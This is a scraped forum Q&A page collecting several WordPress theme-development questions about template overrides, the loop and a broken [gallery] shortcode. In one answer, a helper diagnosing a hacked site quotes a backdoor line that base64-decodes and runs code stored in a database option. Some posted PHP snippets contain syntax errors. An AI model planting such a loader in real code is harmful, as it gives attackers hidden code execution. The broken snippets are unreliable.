Woocommerce archive-product.php overwrite issues. - php

I'm trying to customize the archive-product page, and it works perfectly while I'm on my local server, but when I move it online, it's switches back to the default template. I'm trying to fix this for a week now, I've read all the other answers regarding this issue, but most of them are for an older version of woocommerce or the solution just doesn't work.
As a last refugee from madness, I've deleted all the archive-product.php file I can find, even the one in the woocommerce source folder, but nothing changed, I don't know where the site is getting the template from. The page have become self aware and I am going crazy because I have no idea what to do next.
Here is the difference between the page on local and online server

Please check if you have this in your functions.php, if not add:
add_theme_support( 'woocommerce' );
In theme root folder, add the file woocommerce.php and in that file set your own layout. For example:
<div class="wrapper">
<div class="sidebar">
// sidebar
</div>
<div class="inner">
<?php if ( have_posts() ) :
while(have_posts()) : the_post();
<?php woocommerce_content(); ?>
<?php
endwhile;
endif;?>
</div>
</div>
For more details: go through https://docs.woothemes.com/document/third-party-custom-theme-compatibility/

Related

Changes to page.php and single.php not applying

I'm having quite a weird issue with my WordPress site. I am building a theme from scratch and I'm trying to make change to the containers on my blog page (page.php and single.php). Weirdly enough, I have made no major changes to the code other than add a wrapper, but the changes aren't showing up.
I've made many themes without this issue so I'm unsure what's going wrong this time. I have set the blog page to be the posts page in the settings so I can't understand why the template won't update. The code I have is below, and is just the standard WordPress code with the exception of 'grid wrapper' and attempting to remove the sidebar which also shows.
I have done quite a bit of research on this to see what the problem could be, but sadly the only post similar was in 2014 with no answer.
<div class="container main-content">
<div class="grid wrapper">
<section class="the-content">
<main>
<h1><?php the_title(); ?></h1>
<?php while ( have_posts() ): the_post(); ?>
<?php get_template_part('template-parts/content', 'page'); ?>
<?php endwhile; // End of the loop. ?>
</main>
</section>
</div>
</div>
Long story short, my content shows just fine. I just can't edit the wrapper which contains that content.
I would change parameters in get_template_part()
This is how it supposed to be used: Understanding get_template_part
So if you have blank Wordpress file structure, I'm not sure if you have template-parts for sure. You can have them only if you intentionally made them.
Use wordpress Wp-Super_cache Plugin
I had the same issue. Most likely index.php is overriding your file as in my case. It depends how your theme handles the loop so check out on your index.php and change it there.
If i remember well, the blog page set in the back-office reference first at home.php and then index.php. Page and single aren't call.

Adding content to wordpress page

So, i finally got my css and js scripts to load on WP
Now there is but one thing i need to get done.
i have my own theme, including header.php, footer.php, page.php
header.php and footer.php is working just fine, loading scripts and showing properly, but now i need to add all the other content.
my page.php is currently:
<?php /* Template Name: CustomPageT1 */ ?>
<?php get_header(); ?>
<?php the_content(); ?>
<?php get_footer(); ?>
I would need to somehow add html content to pages, i have about 20 ready made .php pages which needs to be transfered to WP.
Soooo how do i go about making new page (pages -> add new) and using page template while getting the html content to show up?
I've tried to just make new page and in text mode add up all the html into page, but it only shows empty page with header and footer, so the problem is most likely the page.php and i have no idea how to get it to work.
You can do look like this:
<?php /* Template Name: CustomPageT1 */ ?>
<?php get_header(); ?>
<?php
while ( have_posts() ) : the_post();
the_content();
endwhile;
?>
<?php get_footer(); ?>
You are on the good way. While developing a custom theme from scratch is a great challenge it's not too hard.
I could recommend to take it easy and follow this tutorial I found really helpful some time ago, I learned a lot there:
Developing a WordPress Theme from Scratch
You must have the official source documentation always in your mind:
Theme Development
Do some reading and you will see that making themes is really fun and gratifying :)
EDIT:
I would recommend picking a good starter theme or framework and work using child themes. You have plenty of them to pick.
To get started adding a new page to your WordPress site, find the Pages menu in the WordPress Dashboard Navigation menu. Click Add new.
The WordPress page editor looks nearly identical to the post editor, except for a few different boxes located on the right side of the screen.
Add the title of the page, like About. Note: If you have pretty permalinks set up, the title of your page will also be the URL slug.
Next, add some content.
The Publish section of the page editor is exactly the same as for writing posts. When you’re ready to publish, you can either publish immediately, save this or a draft, or schedule the page to be published later.
The Page Attributes section applies a parent page and template to your new page. For the Parent section, you can arrange your pages into hierarchies. For example, you could create this new page with additional pages under it. There are no limits to how many levels you can nest pages.
Some WordPress themes have custom page templates, so the next Template section allows you to apply a template to your new page.
The Order box allows you to order your page numerically. Pages are usually ordered alphabetically, but you can choose your own order by entering a number in this field.
Preview the page one last time, then click Publish. You’ve added a new page to your WordPress site.
This is how your
your index.php should look like :
<?php
get_header();?>
<div class="YourContainer">
<div class="Whatever">
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<div class="ContentSectionDiv">
<?php the_content();?>
</div>
<?php endwhile; ?>
<?php else: ?>
<?php endif; ?>
</div>
</div>
<?php get_footer();?>
you can make also a custom loop
<?php
$arg = array("post_type" => "services",
"posts_per_page" => 9,
"order_by" => "date",
"order" => "ASC",
);
$services = new WP_Query($arg);
if ($services->have_posts()):;
while ($services->have_posts()):$services->the_post();
the_content();
endwhile;
endif;
?>

Wordpress functions not working in custom theme

So I'm super new to Wordpress. I set up a Wordpress local server on MAMP yesterday and I'm trying to build my own theme currently. Trouble is, whenever I try to do the loop, I'm not getting any content. my code works if I just use php, but the problem is custom Wordpress functions aren't usable (i.e. have_posts())
A couple other posts have suggested requiring wp-blog-header, but that hasn't worked either. Here's my code:
<?php
define('WP_USE_THEMES', false);
require('../../../wp-blog-header.php');
if(have_posts()) :
echo 'testing'
else :
echo 'testing'
endif;
?>
Nothing currently displays on my screen.
wp-blog-header.php is located here: wordpress -> wp-blog-header.php
My custom theme is located here: wordpress -> wp-content -> themes -> firstTheme -> index.php
All tips are appreciated.
Well, you're writing PHP and your code contains
if(have_posts()) :
echo 'testing'
else :
echo 'testing'
endif;
I'm not sure how can this be valid in PHP. I'd expect
if(have_posts())
echo 'testing';
else
echo 'testing';
See also if and else syntax in PHP.
I found this issue as well in building a few wordpress sites. After installing a PhP plugin (Insert PhP) my problems were solved.
Once installed, was changed to [insert_php] and [/insert_php] and my code worked.
You need to use the proper WordPress functions to build your own custom theme.
For example, instead of require and then x-path deep (which is also not wanted from WP-Core perspective) you should put your file in your theme's root.
like :
`get_template_part('name-of-file-to-include-without-php-ending');`
Reason for this is the fact, that WordPress Codex proposes the use of child theme functions.
The get_template_part(''); function does some checks, e.g. if a child theme has been installed etc.
Question: Why do you define that constant?
All constants should reside inside wp-config (root folder).
Additionally, it is worth mentioning that you are not looping throught the posts. Your code, at this point in time of writing, only looks IF there are posts, and then does nothing. You need to add the while function as well in order to work through your posts and display them.
So, do (in your loop.php or at the place in your theme where you want to display them):
<?php if(have_posts() ) : ?>
// The while added
<?php while ( have_posts() ) : the_post(); ?>
// Your template tags here: e.g. the_author();
<h2><?php the_author(); ?></h2>
<h3>the_title();</h3>
etc...
<?php endwhile?>
<?php endif; ?>
One last thing: WordPress has some conventions, which files should reside in the theme folder. For example, every theme should have a functions.php where you put stuff like menu and widgets etc. inside.
The most popular tags to build a theme are:
get_header();
Sure, you need to have a header.php file in your theme. Again, WordPress will look for exactly these files to include, no other naming is allowed.
get_footer();
Make a guess, right - it will look for footer.php in your theme folder.
For more information please see the WordPress Codex > Template Parts, etc..
https://codex.wordpress.org/Theme_Development#Template_Files
I highly advice you to use the WordPress core functions for templates, ignoring them and do 'classic' php e.g. include/require will lead you the dark side and not be successful.
A good plugin in the see your which template parts you are using is "What the File". Grab a default theme, install that plugin and look in the admin bar what it says to get an idea of what WordPress is doing.
Here is an excerpt of my loop, in my theme which uses bootstrap.
<?php if(have_posts() ) : ?>
<?php while ( have_posts() ) : the_post(); ?>
<?php if(is_front_page() || is_page() || is_single() ) : ?>
<div class="row row-content">
<div class="content col-xs-12 col-sm-12 col-md-12 col-lg-12">
<?php the_content(); ?>
</div>
</div>
<?php // category.php, archive.php, search.php ?>
<?php elseif(is_category() || is_archive() || is_search() ) : ?>
<div class="row row-excerpt">
<div class="thumbnail-box col-lg-4">
<a href="<?php the_permalink(); ?>" class="preview-image-link">
<?php
// Thumbnail und Post Auszug
if(has_post_thumbnail() ) {
the_post_thumbnail('thumbnail');
}
?>
</a>
</div>
<div class="text-details-box col-lg-8">
<div class="row row-excerpt-text">
<div class="excerpt col-lg-12">
<?php the_excerpt(); ?>
</div>
</div>
<div class="row row-tags row-read-more">
<div class="tags col-lg-8">
<?php the_tags('<ul class="tag-list">
</div>
<div class="read-more-boxcol-md-4 col-lg-4">
<a href="<?php the_permalink(); ?>" class="read-more-btn">
<span class="read-more-btn-text">></span>
</a>
</div>
</div>
</div>
</div>
<?php endwhile; ?>
<?php endif; ?>

Default Wordpress [gallery] not showing up in custom theme

Everything was fine, until recent updates. [gallery] is not showing images anymore, and it also looks like it is not contained in code.
Here is the loop for page:
<?php
// Start the loop.
while ( have_posts() ) : the_post();?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
<h1 class="entry-title"><?php the_title(); ?></h1>
<div class="entry-content">
<?php the_content(); ?>
</div><!-- .entry-content -->
</article><!-- #post-<?php the_ID(); ?> -->
<?php
// End the loop.
endwhile;
?>
Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).
And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)
You're site got hacked.
The last line of the pastebin is loading malicious code from your database:
add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery] is broken. (Actually you can be lucky about that part.)
You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.
AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).
try to install the plugin NextGEN Gallery, add the gallery images,and try to display on home page,
https://wordpress.org/plugins/nextgen-gallery/
do you see any javascript errors in console ?
and what is output of
<?php echo do_shortcode('[gallery]');?>

Wordpress - Twenty Fourteen Theme - Moving Featured Content Slider to Content Area

I am using the featured content slider provided as standard in the Twenty Fourteen Wordpress theme. It's doing pretty much everything I want it to do at this point and I have done some basic customisation on it using CSS, however after speaking to a few folk internally they are looking to "insert" this into the main content area of the page.
I've had a look around, and found a suggestion to change the index.php file to change the position of the PHP statement that registers the featured content. After making these changes to my child theme and publishing them nothing happened.
I am at a complete loss as to where to look next or what to change (without trial and error which could break everything!)
It's probably a very simple solution that I'm completely overlooking so apologies if this is the case. This is an internal site so I can't provide any links unfortunately. Many thanks in advance for your help!
Index.php current code:
get_header(); ?>
<div id="main-content" class="main-content">
<div id="primary" class="content-area">
<div id="content" class="site-content" role="main">
<?php
if ( have_posts() ) :
// Start the Loop.
while ( have_posts() ) : the_post();
/*
* Include the post format-specific template for the content. If you want to
* use this in a child theme, then include a file called called content-___.php
* (where ___ is the post format) and that will be used instead.
*/
get_template_part( 'content', get_post_format() );
<?php
if ( is_front_page() && twentyfourteen_has_featured_posts() ) {
// Include the featured content template.
get_template_part( 'featured-content' );
}
?>
Further to this, the Featured Content is currently located at the top of the page and does not fit within the content and primary sidebars (it is positioned above the content sidebar to the right of the primary sidebar.
If you're worried about breaking a live site, then you should make a copy of what you've got, and install it locally on your machine.
WAMP is very good for this, if you're running Windows, and makes your computer act like an Apache web server.
Moving on from that, it would be helpful if you could provide some code, showing where your featured content slider is positioned.
And also make sure you're editing the correct file for your theme.

Categories